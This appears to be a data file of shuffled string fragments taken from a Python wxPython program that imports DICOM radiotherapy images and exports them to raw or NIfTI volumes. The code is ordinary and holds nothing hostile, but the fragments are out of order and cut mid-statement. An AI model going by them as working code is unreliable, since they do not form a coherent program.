"has been initialized.\"\"\" # Set window icon if not guiutil.IsMac(): self.SetIcon(guiutil.get_icon()) # Initialize",
"wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('user.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('book.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('table_multiple.png'), wx.BITMAP_TYPE_PNG))",
"item: if (item['series'] == image['series']): appendImage = True # used for RT plan",
"is valid if os.path.isdir(path): files = [] for root, dirs, filenames in os.walk(path):",
"image in enumerate(images): if (sort == 'IPP'): unsortednums.append(image.ImagePositionPatient[2]) else: unsortednums.append(image.data_element(sort).value) # Sort in",
"data...' wx.CallAfter(progressFunc, 0, 1, progressStr) wx.CallAfter(resultFunc, patients) # if the path is not",
"{} # Search subfolders by default self.import_search_subfolders = True # Set the threading",
"all_export_threads] #[th.join() for th in all_export_threads] # wait all threads #self.AlertDialog('All exports finished!')",
"filenames in os.walk(path): files += map(lambda f:os.path.join(root, f), filenames) if (self.import_search_subfolders == False):",
"Plan: ' + plan['label'] + planname + \\ ' - Dose: ' +",
"acq_date = dp.ds.StudyDate, dp.ds.SeriesDate, dp.ds.AcquisitionDate if (dp.ds.SamplesPerPixel > 1) or (dp.ds.PhotometricInterpretation == 'RGB'):",
"data from the DICOM importer dialog.\"\"\" return self.patient def OnCancel(self, evt): \"\"\"Stop the",
"only)' else: name = 'RT Dose without Dose Grid or DVH' foundstructure =",
"self.OnOK, id=XRCID('tcPatients')) #added by CL.Wang self.Bind(wx.EVT_CHECKBOX, self.OnCheckVolFlag, id=XRCID('check_volume')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinSliceNum, id=XRCID('spin_minslices')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinOffset,",
"from pyDcmConverter import guiutil, util class DcmConverterApp(wx.App): \"\"\"Prepare to show the dialog that",
"previous search thread exists, block until it is done before # starting a",
"dp.GetReferencedStructureSet() dose['rtplan'] = dp.GetReferencedRTPlan() patients[h]['doses'][dose['id']] = dose # Otherwise it is a currently",
"dp.ds.ManufacturerModelName seinfo['PixelSpacing'] = dp.ds.PixelSpacing seinfo['Orientation'] = dp.ds.ImageOrientationPatient except: logger.error('Get dcm info error!') seinfo['numimages']",
"patient['treeid'], \"RT Structure Set not found\", 7) plan['treeid'] = self.tcPatients.AppendItem(badstructure, name, 5) self.tcPatients.SetItemTextColour(badstructure,",
"the gui wx.CallAfter(progressFunc, n, len(files), 'Searching for patients...') if (len(patients) == 0): progressStr",
"= os.path.join(os.path.dirname(out_basepath), 'LabFormat') if not os.path.isdir(out_dir): os.makedirs(out_dir) mori_fname = os.path.join(out_dir, os.path.basename(out_basepath)) if os.path.isfile(mori_fname+'.raw.gz'):",
"rtss to it foundseries = False for seriesid, series in patient['series'].items(): foundseries =",
"True # used for RT plan / dose if 'referenceframe' in item: if",
"= self.tcPatients.GetItemData(export) filearray, series_no = info['filearray'], info['info']['series_number'] basename = os.path.join(self.output_dir, self.output_name+'-'+str(series_no)+'.512') all_export_threads.append(threading.Thread(target=self.ExportPatientData, args=(self.path,",
"patient cancelled.'): self.EndModal(wx.ID_CANCEL) def InitTree(self): \"\"\"Initialize the tree control for use.\"\"\" iSize =",
"id=XRCID('spin_minslices')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinOffset, id=XRCID('spin_offset')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckMoriFormat, id=XRCID('check_mori')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckNiftiFormat, id=XRCID('check_nifti')) self.Bind(wx.EVT_DIRPICKER_CHANGED, self.OnPickOutdir, id=XRCID('picker_output'))",
"in all_export_threads] # wait all threads #self.AlertDialog('All exports finished!') def OnCheckSearchSubfolders(self, evt): \"\"\"Determine",
"in dp.ds) and \\ not (dp.GetSOPClassUID() == 'rtdose')): if not 'images' in patient:",
"if 'structures' in patient: for structureid, structure in patient['structures'].items(): if 'rtss' in item:",
"first patients if ('hf' in image.PatientPosition.lower()) and (sort == 'IPP'): sortednums = sorted(unsortednums,",
"in ascending order else: sortednums = sorted(unsortednums, reverse=False) # Add the images to",
"dp.GetReferencedSeries() structure['referenceframe'] = dp.GetFrameOfReferenceUID() patients[h]['structures'][structure['id']] = structure # Create each RT Plan elif",
"image completed') if self.export_nii_format: import nibabel as nib logger.info('Exporting image to %s', nii_fname)",
"for field in origin_header_lines: # \\r\\n if 'Thickness' in field: f.write('{} {:.6f}\\r'.format(field,reso[2])) elif",
"f.write('{} {}\\r'.format(field,serise_date)) elif 'AcquisitionDate' in field: f.write('{} {}\\r'.format(field,acq_date)) elif 'Orientation' in field: f.write('{}",
"foundFunc, resultFunc): \"\"\"Thread to start the directory search.\"\"\" # Call the progress function",
"if not self.selected_exports: self.AlertDialog('No Dicom series have been selected!') return if not self.output_dir:",
"import getLogger, DEBUG, INFO logger = getLogger('DcmConverter') import wx warnings.filterwarnings(\"ignore\", category=wx.wxPyDeprecationWarning) from wx.xrc",
"rxdose = plan['rxdose'] if plan['rxdose'] > 0 else \"Unknown\" name = 'RT Plan:",
"'images' in patients[h]: patients[h]['images'] = {} image = {} image['id'] = dp.GetSOPInstanceUID() image['filename']",
"self.txtDicomImport.SetFont(font) self.btnDicomImport.SetFont(font) self.checkSearchSubfolders.SetFont(font) self.lblProgressLabel.SetFont(font) self.lblProgress.SetFont(font) self.lblProgressPercent.SetFont(font) self.lblProgressPercentSym.SetFont(font) self.tcPatients.SetFont(font) self.txtRxDose.SetFont(font) self.lblRxDoseUnits.SetFont(font) font.SetWeight(wx.FONTWEIGHT_BOLD) self.lblRxDose.SetFont(font) #",
"str(self.lblProgress.GetLabel()).replace(' Reading DICOM data...', '')) #Added by CL.Wang self.Check_Export_Files() def Check_Export_Files(self): def select(child,",
"our gui resources self.res = XmlResource(util.GetResourcePath('dicomgui.xrc')) dlgDicomImporter = self.res.LoadDialog(None, \"DicomImporterDialog\") dlgDicomImporter.Init(self.res) # Show",
"pixel_array = dp.ds.pixel_array rescaled_image = pixel_array * slope + intercept + self.offset image_array[:,:,i]",
"' (' + modality + ', ' #numimages = str(series['numimages']) + ' image)'",
"self.checkSearchSubfolders.SetFont(font) self.lblProgressLabel.SetFont(font) self.lblProgress.SetFont(font) self.lblProgressPercent.SetFont(font) self.lblProgressPercentSym.SetFont(font) self.tcPatients.SetFont(font) self.txtRxDose.SetFont(font) self.lblRxDoseUnits.SetFont(font) font.SetWeight(wx.FONTWEIGHT_BOLD) self.lblRxDose.SetFont(font) # Initialize the",
"if 'id' in item: if (item['id'] == image['series']): appendImage = True # used",
"one for RT Dose # since some vendors use incorrect StudyInstanceUIDs if not",
"- Dose: \" + str(int(b['dose'])) + \" cGy\" rxdose = int(b['dose']) dose['treeid'] =",
"Set not found\", 7) self.tcPatients.SetItemTextColour(badstructure, wx.RED) badplan = self.tcPatients.AppendItem( badstructure, \"RT Plan not",
"self.tcPatients.SelectItem(item['treeid']) def OnSelectTreeItem(self, evt): \"\"\"Update the interface when the selected item has changed.\"\"\"",
"= self.tcPatients.AppendItem(study['treeid'], name, 3) self.EnableItemSelection(patient, series, []) # Search for RT Structure Sets",
"%s file and is not \" + \\ \"currently supported.\", files[n], dp.ds.SOPClassUID.name) #",
"self.patient def OnCancel(self, evt): \"\"\"Stop the directory search and close the dialog.\"\"\" self.terminate",
"\"\"\"Import DICOM RT files and return a dictionary of data.\"\"\" def __init__(self): wx.Dialog.__init__(self)",
"foundstructure = True # If no structures were found, add the plan to",
"# Create a hash for each patient h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() # Add the",
"self.tcPatients.AddRoot('Patients', image=0) return root def AddPatientTree(self, patient): \"\"\"Add a new patient to the",
"dlg.ShowModal() == wx.ID_OK: self.path = dlg.GetPath() self.txtDicomImport.SetValue(self.path) dlg.Destroy() #self.OnDirectorySearch() def OnDirectorySearch(self): \"\"\"Begin directory",
"to the study/series instead if not foundstructure: # If there is an image",
"dp.ds.PatientPosition seinfo['ModelName'] = dp.ds.ManufacturerModelName seinfo['PixelSpacing'] = dp.ds.PixelSpacing seinfo['Orientation'] = dp.ds.ImageOrientationPatient except: logger.error('Get dcm",
"= dp.GetSOPInstanceUID() image['filename'] = files[n] image['series'] = seinfo['id'] image['referenceframe'] = dp.GetFrameOfReferenceUID() patients[h]['series'][seinfo['id']]['numimages'] =",
"# Existence check if self.export_mori_format: out_dir = os.path.join(os.path.dirname(out_basepath), 'LabFormat') if not os.path.isdir(out_dir): os.makedirs(out_dir)",
"threading termination status to false intially self.terminate = False # Hide the progress",
"patient['studies'].items(): name = 'Study: ' + study['description'] study['treeid'] = self.tcPatients.AppendItem(patient['treeid'], name, 2) #",
"= {} with open('.dcmconverter.conf', 'w') as f: conf['path'] = dlgDicomImporter.path conf['only_export_voldata'] = dlgDicomImporter.only_export_voldata",
"foundstructure = False planname = ' (' + plan['name'] + ')' if len(plan['name'])",
"images are parallel, sort by ImagePositionPatient if parallel: sort = 'IPP' else: #",
"a valid location.\", \"Invalid DICOM Import Location\", wx.OK|wx.ICON_ERROR) dlg.ShowModal() def OnUpdateProgress(self, num, length,",
"/ dose if 'referenceframe' in item: if (item['referenceframe'] == image['referenceframe']): if not 'numimages'",
"DICOM RT files...\") if dlg.ShowModal() == wx.ID_OK: self.path = dlg.GetPath() self.txtDicomImport.SetValue(self.path) dlg.Destroy() #self.OnDirectorySearch()",
"field: f.write('{} {}\\r'.format(field,acq_date)) elif 'Orientation' in field: f.write('{} {}\\r'.format(field,'LPF')) elif '' == field:",
"in descending order for head first patients if ('hf' in image.PatientPosition.lower()) and (sort",
"'KVP' in field: f.write('{} {}\\r'.format(field,kvp)) elif 'KernelFunction' in field: f.write('{} {}\\r'.format(field,conv_kernel)) elif 'ModelName'",
"in patient['plans'].items(): if 'rtplan' in item: if (planid == item['rtplan']): filearray.append(plan['filename']) if not",
"msgs[2]) if exportFunc: exportFunc(patient_data=patient, progressFunc=progressFunc) wx.CallAfter(progressFunc, 99, 100, '') def GetPatient(self): \"\"\"Return the",
"False # Hide the progress bar until it needs to be shown self.gaugeProgress.Show(False)",
"Plan not found\", 8) dose['treeid'] = self.tcPatients.AppendItem(badplan, name, 5) self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray =",
"getLogger('DcmConverter') import wx warnings.filterwarnings(\"ignore\", category=wx.wxPyDeprecationWarning) from wx.xrc import * import numpy as np",
"self.patients.items(): patient.update(patients[key]) if 'studies' in patient: for studyid, study in patient['studies'].items(): name =",
"'') def GetPatient(self): \"\"\"Return the patient data from the DICOM importer dialog.\"\"\" return",
"root = self.tcPatients.AddRoot('Patients', image=0) return root def AddPatientTree(self, patient): \"\"\"Add a new patient",
"Disable the rx dose message and select button by default self.EnableRxDose(False) #self.btnSelect.Enable(False) #",
"# Search for RT Plans if 'plans' in patient: for planid, plan in",
"if 'structures' in patient: for structureid, structure in patient['structures'].items(): if 'series' in patient:",
"in patient['structures'].items(): foundstructure = False if (structureid == plan['rtss']): plan['treeid'] = self.tcPatients.AppendItem(structure['treeid'], name,",
"for planid, plan in patient['plans'].items(): foundplan = False if (planid == dose['rtplan']): foundplan",
"self.tcPatients.AppendItem( series['treeid'], \"RT Structure Set not found\", 7) foundseries = True # If",
"'Export Nifti image completed') def OnConvert(self, evt): if not self.selected_exports: self.AlertDialog('No Dicom series",
"[dose['filename']] self.EnableItemSelection(patient, dose, filearray, rxdose) # If no plans were found, add the",
"'plans' in patients[h]: patients[h]['plans'] = {} plan = dp.GetPlan() plan['id'] = dp.GetSOPInstanceUID() plan['filename']",
"foundseries = False name = 'RT Structure Set: ' + structure['label'] for seriesid,",
"else: logger.info(\"%s is a %s file and is not \" + \\ \"currently",
"self.tcPatients.ExpandAll() def AddPatientDataTree(self, patients): \"\"\"Add the patient data to the tree control.\"\"\" #",
"by Instance Number if not (images[0].InstanceNumber == \\ images[1].InstanceNumber): sort = 'InstanceNumber' #",
"logging import getLogger, DEBUG, INFO logger = getLogger('DcmConverter') import wx warnings.filterwarnings(\"ignore\", category=wx.wxPyDeprecationWarning) from",
"if (dp.ds.SamplesPerPixel > 1) or (dp.ds.PhotometricInterpretation == 'RGB'): logger.info('Cannot handle color image!') return",
"the dialog since we are done with the import process if (message ==",
"foundstructure = True if (structure['referenceframe'] == dose['referenceframe']): foundstructure = True if foundstructure: badplan",
"in patient['series'].items(): foundseries = False if (series['referenceframe'] == dose['referenceframe']): badstructure = self.tcPatients.AppendItem( series['treeid'],",
"tree control self.root = self.InitTree() # Initialize the patients dictionary self.patients = {}",
"a fake rtss to it foundseries = False for seriesid, series in patient['series'].items():",
"True) self.tcPatients.SelectItem(item['treeid']) def OnSelectTreeItem(self, evt): \"\"\"Update the interface when the selected item has",
"= conf['only_export_voldata'] XRCCTRL(self, 'check_mori').SetValue(self.only_export_voldata) self.min_slice_num = conf['min_slice_num'] XRCCTRL(self, 'spin_minslices').SetValue(self.min_slice_num) self.offset = conf['offset'] XRCCTRL(self,",
"info = self.tcPatients.GetItemData(child)['info'] return int(info['numimages'])>self.min_slice_num self.selected_exports = [] first_patient = self.tcPatients.GetFirstChild(self.tcPatients.RootItem)[0] first_study =",
"image numbers in descending order for head first patients if ('hf' in image.PatientPosition.lower())",
"else: name = 'RT Dose without Dose Grid or DVH' if (dose['summationtype'] ==",
"they exist if 'images' in patient: for imageid, image in patient['images'].items(): appendImage =",
"elif 'ImageOrientation' in field: f.write('{} {}\\r'.format(field,img_ori.tolist())) elif 'StudyDate' in field: f.write('{} {}\\r'.format(field,study_date)) elif",
"search thread exists, block until it is done before # starting a new",
"== 'IPP'): unsortednums.append(image.ImagePositionPatient[2]) else: unsortednums.append(image.data_element(sort).value) # Sort in LPI order! Modified by CL.Wang",
"slice in enumerate(sortednums): for i, image in enumerate(images): if (sort == 'IPP'): if",
"to the filearray if they exist if 'images' in patient: for imageid, image",
"'structures' in patient: for structureid, structure in patient['structures'].items(): foundstructure = False if (structureid",
"for seriesid, series in patient['series'].items(): foundseries = False if (seriesid == structure['series']): structure['treeid']",
"badplan = self.tcPatients.AppendItem( structure['treeid'], \"RT Plan not found\", 8) dose['treeid'] = self.tcPatients.AppendItem(badplan, name,",
"0, 'Select a valid location.') dlg = wx.MessageDialog( parent, \"The DICOM import location",
"' + str(rxdose) + ' cGy' if 'structures' in patient: for structureid, structure",
"if not value: self.txtRxDose.SetValue(1) def ExportPatientData(self, path, filearray, RxDose, terminate, progressFunc, exportFunc): \"\"\"Get",
"by CL.Wang # Sort image numbers in descending order for head first patients",
"defaultPath = self.path, message=\"Choose a directory containing DICOM RT files...\") if dlg.ShowModal() ==",
"'t')): self.t.join() del self.t self.t=threading.Thread(target=self.DirectorySearchThread, args=(self, self.path, self.import_search_subfolders, self.SetThreadStatus, self.OnUpdateProgress, self.AddPatientTree, self.AddPatientDataTree)) self.t.start()",
"= {} dose = {} dose['id'] = dp.GetSOPInstanceUID() dose['filename'] = files[n] dose['referenceframe'] =",
"'RT Dose not found' baddose = self.tcPatients.AppendItem(badplan, name, 9) self.tcPatients.SetItemTextColour(baddose, wx.RED) #self.btnSelect.SetFocus() self.tcPatients.ExpandAll()",
"nii_fname) wx.CallAfter(progressFunc, 98, 100, 'Export Nifti image completed') def OnConvert(self, evt): if not",
"sort = 'IPP' else: # Otherwise sort by Instance Number if not (images[0].InstanceNumber",
"dicomparser from pyDcmConverter import guiutil, util class DcmConverterApp(wx.App): \"\"\"Prepare to show the dialog",
"if flag: self.tcPatients.SetItemImage(child, 10) self.selected_exports.append(child) else: self.tcPatients.SetItemImage(child, 3) def minslice_check(child): info = self.tcPatients.GetItemData(child)['info']",
"self.terminate = True self.OnDirectorySearch() def OnBrowseDicomImport(self, evt): \"\"\"Get the directory selected by the",
"= self.tcPatients.GetNextChild(child, cookie) logger.info('%d files selected!', len(self.selected_exports)) def EnableItemSelection(self, patient, item, filearray =",
"= dp.GetFrameOfReferenceUID() patients[h]['series'][seinfo['id']]['numimages'] = \\ patients[h]['series'][seinfo['id']]['numimages'] + 1 patients[h]['images'][image['id']] = image # Create",
"from logging import getLogger, DEBUG, INFO logger = getLogger('DcmConverter') import wx warnings.filterwarnings(\"ignore\", category=wx.wxPyDeprecationWarning)",
"if not os.path.isdir(out_dir): os.makedirs(out_dir) nii_fname = os.path.join(out_dir, os.path.basename(out_basepath)+'.nii.gz') if os.path.isfile(nii_fname): self.ChoiceDialog('File existed! Continue?')",
"{} wx.CallAfter(foundFunc, patient) # Create each Study but don't create one for RT",
"wx.CallAfter(progressFunc, n//2, len(filearray), msgs[0]) # Sort the images based on a sort descriptor:",
"if (i > 0): iop0 = np.array(item.ImageOrientationPatient) iop1 = np.array(images[i-1].ImageOrientationPatient) if (np.any(np.array(np.round(iop0 -",
"dlgDicomImporter.Init(self.res) # Show the dialog and return the result ret = dlgDicomImporter.ShowModal() #",
"sorted(unsortednums, reverse=True) # Otherwise sort image numbers in ascending order else: sortednums =",
"= self.tcPatients.GetFirstChild(first_study) while child.IsOk(): if self.only_export_voldata: title = self.tcPatients.GetItemText(child) flag = 'vol' in",
"#[th.join() for th in all_export_threads] # wait all threads #self.AlertDialog('All exports finished!') def",
"OnCheckSearchSubfolders(self, evt): \"\"\"Determine whether to search subfolders for DICOM data.\"\"\" self.import_search_subfolders = evt.IsChecked()",
"f:os.path.join(root, f), filenames) if (self.import_search_subfolders == False): break for n in range(len(files)): #",
"a valid location.') dlg = wx.MessageDialog( parent, \"The DICOM import location does not",
"wx.MessageDialog(self, msg, 'Warning', style=wx.OK_DEFAULT|wx.CANCEL) self.contiune_export = dialog.ShowModal() dialog.Destroy() def __GetNiftiAffineMatrix__(self, dp): di =",
"(' + modality + ', ' #numimages = str(series['numimages']) + ' image)' if",
"tree control.\"\"\" # Add the respective images to the filearray if they exist",
"+ str(len(patients)) + ' patients. Reading DICOM data...' wx.CallAfter(progressFunc, 0, 1, progressStr) wx.CallAfter(resultFunc,",
"= self.res.LoadDialog(None, \"DicomImporterDialog\") dlgDicomImporter.Init(self.res) # Show the dialog and return the result ret",
"logger.info('Exporting image to %s', mori_fname) header_name = write_mori(image_array, reso, mori_fname, True) with open(header_name,",
"in title.lower() and minslice_check(child) select(child, flag) else: select(child, minslice_check(child)) child, cookie = self.tcPatients.GetNextChild(child,",
"0, 'Searching for patients...') patients = {} # Check if the path is",
"elif dp.ds.Modality in ['RTPLAN']: if not 'plans' in patients[h]: patients[h]['plans'] = {} plan",
"whether to terminate or not.\"\"\" return self.terminate def DirectorySearchThread(self, parent, path, subfolders, terminate,",
"the specific item to the tree for key, patient in self.patients.items(): patient.update(patients[key]) if",
"self.tcPatients.AppendItem( structure['treeid'], \"RT Plan not found\", 8) dose['treeid'] = self.tcPatients.AppendItem(badplan, name, 6) self.tcPatients.SetItemTextColour(badplan,",
"duration if terminate(): wx.CallAfter(progressFunc, 0, 0, 'Search terminated.') return if (os.path.isfile(files[n])): try: logger.debug(\"Reading:",
"= {} plan = dp.GetPlan() plan['id'] = dp.GetSOPInstanceUID() plan['filename'] = files[n] plan['series'] =",
"= None): \"\"\"Enable an item to be selected in the tree control.\"\"\" #",
"flag) else: select(child, minslice_check(child)) child, cookie = self.tcPatients.GetNextChild(child, cookie) logger.info('%d files selected!', len(self.selected_exports))",
"\"\"\"Enable an item to be selected in the tree control.\"\"\" # Add the",
"patient['series'].items(): if 'studies' in patient: for studyid, study in patient['studies'].items(): if (studyid ==",
"8) dose['treeid'] = self.tcPatients.AppendItem(badplan, name, 6) self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray = [dose['filename']] self.EnableItemSelection(patient, dose,",
"the respective images to the filearray if they exist if 'images' in patient:",
"files[n] dose['referenceframe'] = dp.GetFrameOfReferenceUID() dose['hasdvh'] = dp.HasDVHs() dose['hasgrid'] = \"PixelData\" in dp.ds dose['summationtype']",
"if (studyid == series['study']): modality = series['modality'].partition(' Image Storage')[0] name = 'Series {}:",
"in ['RTDOSE']): patient['rtdose'] = dp.ds wx.CallAfter(progressFunc, n//2, len(filearray), msgs[0]) # Sort the images",
"id=XRCID('spin_offset')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckMoriFormat, id=XRCID('check_mori')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckNiftiFormat, id=XRCID('check_nifti')) self.Bind(wx.EVT_DIRPICKER_CHANGED, self.OnPickOutdir, id=XRCID('picker_output')) self.Bind(wx.EVT_TEXT, self.OnInputName, id=XRCID('text_output_name'))",
"= True def OnSpinOffset(self, evt): self.offset = evt.GetPosition() def OnCheckVolFlag(self, evt): self.only_export_voldata =",
"Check if the path is valid if os.path.isdir(path): files = [] for root,",
"selected!', len(self.selected_exports)) def EnableItemSelection(self, patient, item, filearray = [], rxdose = None): \"\"\"Enable",
"f, indent=2, sort_keys=True) # Block until the thread is done before destroying the",
"= self.tcPatients.GetItemParent(item) if 'rxdose' in data: rxdose = data['rxdose'] else: parentdata = self.tcPatients.GetItemData(parent)",
"'Importing patient cancelled.'): self.EndModal(wx.ID_CANCEL) def InitTree(self): \"\"\"Initialize the tree control for use.\"\"\" iSize",
"Save configure conf = {} with open('.dcmconverter.conf', 'w') as f: conf['path'] = dlgDicomImporter.path",
"f.write('{} {}\\r'.format(field,hospital)) elif 'KVP' in field: f.write('{} {}\\r'.format(field,kvp)) elif 'KernelFunction' in field: f.write('{}",
"filearray if they exist if 'structures' in patient: for structureid, structure in patient['structures'].items():",
"patient['series'].items(): foundseries = False if (seriesid == structure['series']): structure['treeid'] = self.tcPatients.AppendItem(series['treeid'], name, 4)",
"else: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item, 'rxdose':rxdose}) self.tcPatients.SetItemBold(item['treeid'], True) self.tcPatients.SelectItem(item['treeid']) def OnSelectTreeItem(self, evt): \"\"\"Update the",
"self.only_export_voldata = evt.IsChecked() try: self.Check_Export_Files() except: logger.info('Adjusted parameters befor the tree generated.') def",
"a hash for each patient h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() # Add the patient to",
"'r') as f: origin_header_lines = f.read().splitlines() with open(header_name, 'w') as f: for field",
"(len(patients) > 1): progressStr = 'Found ' + str(len(patients)) + ' patients. Reading",
"None): if 'rxdose' in parentdata: rxdose = parentdata['rxdose'] # Show the rxdose text",
"image.ImagePositionPatient[2]): sortedimages.append(image) elif (slice == image.data_element(sort).value): sortedimages.append(image) # Save the images back to",
"nor RT Dose files were found else: name = 'RT Plan not found'",
"if (structure['referenceframe'] == dose['referenceframe']): foundstructure = True if foundstructure: badplan = self.tcPatients.AppendItem( structure['treeid'],",
"bold the font of the directions label font = wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT) if guiutil.IsMac(): self.txtDicomImport.SetFont(font)",
"See the file license.txt included with this distribution, also # available at https://github.com/bastula/dicompyler/",
"RT Structure Sets if 'structures' in patient: for structureid, structure in patient['structures'].items(): if",
"images if (('ImageOrientationPatient' in dp.ds) and \\ not (dp.GetSOPClassUID() == 'rtdose')): seinfo =",
"f.write('{} {}\\r'.format(field,kvp)) elif 'KernelFunction' in field: f.write('{} {}\\r'.format(field,conv_kernel)) elif 'ModelName' in field: f.write('{}",
"= dp.ds.DoseSummationType dose['beam'] = dp.GetReferencedBeamNumber() dose['rtss'] = dp.GetReferencedStructureSet() dose['rtplan'] = dp.GetReferencedRTPlan() patients[h]['doses'][dose['id']] =",
"files[n] image['series'] = seinfo['id'] image['referenceframe'] = dp.GetFrameOfReferenceUID() patients[h]['series'][seinfo['id']]['numimages'] = \\ patients[h]['series'][seinfo['id']]['numimages'] + 1",
"the filearray if they exist if 'plans' in patient: for planid, plan in",
"as f: for field in origin_header_lines: # \\r\\n if 'Thickness' in field: f.write('{}",
"XRCCTRL(self, 'lblProgressPercent') self.lblProgressPercentSym = XRCCTRL(self, 'lblProgressPercentSym') self.tcPatients = XRCCTRL(self, 'tcPatients') self.bmpRxDose = XRCCTRL(self,",
"try: logger.debug(\"Reading: %s\", files[n]) dp = dicomparser.DicomParser(files[n]) except (AttributeError, EOFError, IOError, KeyError): pass",
"\"RT Plan not found\", 8) dose['treeid'] = self.tcPatients.AppendItem(badplan, name, 6) self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray",
"patient: for structureid, structure in patient['structures'].items(): if 'plans' in patient: for planid, plan",
"XRC file for our gui resources self.res = XmlResource(util.GetResourcePath('dicomgui.xrc')) dlgDicomImporter = self.res.LoadDialog(None, \"DicomImporterDialog\")",
"the tree control for use.\"\"\" iSize = (16,16) iList = wx.ImageList(iSize[0], iSize[1]) iList.Add(",
"# -*- coding: utf-8 -*- # dicomgui.py \"\"\"Main app file that convert DICOM",
"first_study = self.tcPatients.GetFirstChild(first_patient)[0] child, cookie = self.tcPatients.GetFirstChild(first_study) while child.IsOk(): if self.only_export_voldata: title =",
"= sortedimages wx.CallAfter(progressFunc, 49, 100, msgs[2]) if exportFunc: exportFunc(patient_data=patient, progressFunc=progressFunc) wx.CallAfter(progressFunc, 99, 100,",
"# Search for series and images if 'series' in patient: for seriesid, series",
"in origin_header_lines: # \\r\\n if 'Thickness' in field: f.write('{} {:.6f}\\r'.format(field,reso[2])) elif 'ImagePositionBegin' in",
"if 'series' in item: if (item['series'] == image['series']): appendImage = True # used",
"not (self.tcPatients.GetItemData(item) == None): data = self.tcPatients.GetItemData(item) #self.btnSelect.Enable() rxdose = 0 parent =",
"filearray, RxDose, terminate, progressFunc, exportFunc): \"\"\"Get the data of the selected patient from",
"'RGB'): logger.info('Cannot handle color image!') return if dp.ds.BitsAllocated == 16: image_array = np.zeros([dp.ds.Rows,",
"(ImagePositionPatient, InstanceNumber or AcquisitionNumber) if 'images' in patient: sortedimages = [] unsortednums =",
"in b: name += \" - Dose: \" + str(int(b['dose'])) + \" cGy\"",
"assumed that the reference (prescription) dose is in cGy. import hashlib, os, threading,",
"needs to be shown self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) # Start the directory search as",
"the study if not foundseries: badstructure = self.tcPatients.AppendItem( patient['treeid'], \"RT Structure Set not",
"self.contiune_export != wx.ID_OK: return if self.export_nii_format: out_dir = os.path.join(os.path.dirname(out_basepath), 'NiftiFormat') if not os.path.isdir(out_dir):",
"'lblProgress') self.gaugeProgress = XRCCTRL(self, 'gaugeProgress') self.lblProgressPercent = XRCCTRL(self, 'lblProgressPercent') self.lblProgressPercentSym = XRCCTRL(self, 'lblProgressPercentSym')",
"RT Dose files were found else: if 'structures' in patient: for structureid, structure",
"logger.info('Loading previous configuration...') with open('.dcmconverter.conf', 'r') as f: conf = json.load(f) self.path =",
"process interface elements.\"\"\" if not length: percentDone = 0 else: percentDone = int(100",
"> 0 else \"Unknown\" name = 'RT Plan: ' + plan['label'] + planname",
"self.tcPatients.SetFont(font) self.txtRxDose.SetFont(font) self.lblRxDoseUnits.SetFont(font) font.SetWeight(wx.FONTWEIGHT_BOLD) self.lblRxDose.SetFont(font) # Initialize the patients tree control self.root =",
"all threads #self.AlertDialog('All exports finished!') def OnCheckSearchSubfolders(self, evt): \"\"\"Determine whether to search subfolders",
"each Study but don't create one for RT Dose # since some vendors",
"seinfo['Orientation'] = dp.ds.ImageOrientationPatient except: logger.error('Get dcm info error!') seinfo['numimages'] = 0 seinfo['modality'] =",
"dp.ds.BitsAllocated == 8: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int8) else: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns,",
"for th in all_export_threads] #[th.join() for th in all_export_threads] # wait all threads",
"= self.tcPatients.GetItemData(item) #self.btnSelect.Enable() rxdose = 0 parent = self.tcPatients.GetItemParent(item) if 'rxdose' in data:",
"wx.MessageDialog( parent, \"The DICOM import location does not exist. Please select a valid",
"dlgDicomImporter.t.join() dlgDicomImporter.Destroy() os.sys.exit(0) return 1 class DicomImporterDialog(wx.Dialog): \"\"\"Import DICOM RT files and return",
"(dp.ds.SamplesPerPixel > 1) or (dp.ds.PhotometricInterpretation == 'RGB'): logger.info('Cannot handle color image!') return if",
"msgs = ['Scanning patient. Please wait...','Exporting patient cancelled.','Exporting patient...'] wx.CallAfter(progressFunc, -1, 100, msgs[0])",
"files...\") if dlg.ShowModal() == wx.ID_OK: self.path = dlg.GetPath() self.txtDicomImport.SetValue(self.path) dlg.Destroy() #self.OnDirectorySearch() def OnDirectorySearch(self):",
"seinfo['id'] image['referenceframe'] = dp.GetFrameOfReferenceUID() patients[h]['series'][seinfo['id']]['numimages'] = \\ patients[h]['series'][seinfo['id']]['numimages'] + 1 patients[h]['images'][image['id']] = image",
"DICOM data...' wx.CallAfter(progressFunc, 0, 1, progressStr) wx.CallAfter(resultFunc, patients) # if the path is",
"conf['path'] = dlgDicomImporter.path conf['only_export_voldata'] = dlgDicomImporter.only_export_voldata conf['min_slice_num'] = dlgDicomImporter.min_slice_num conf['offset'] = dlgDicomImporter.offset conf['export_mori_format']",
"a dictionary of data.\"\"\" def __init__(self): wx.Dialog.__init__(self) def Init(self, res): \"\"\"Method called after",
"directions label font = wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT) if guiutil.IsMac(): self.txtDicomImport.SetFont(font) self.btnDicomImport.SetFont(font) self.checkSearchSubfolders.SetFont(font) self.lblProgressLabel.SetFont(font) self.lblProgress.SetFont(font) self.lblProgressPercent.SetFont(font)",
"dp.GetPlan() plan['id'] = dp.GetSOPInstanceUID() plan['filename'] = files[n] plan['series'] = dp.ds.SeriesInstanceUID plan['referenceframe'] = dp.GetFrameOfReferenceUID()",
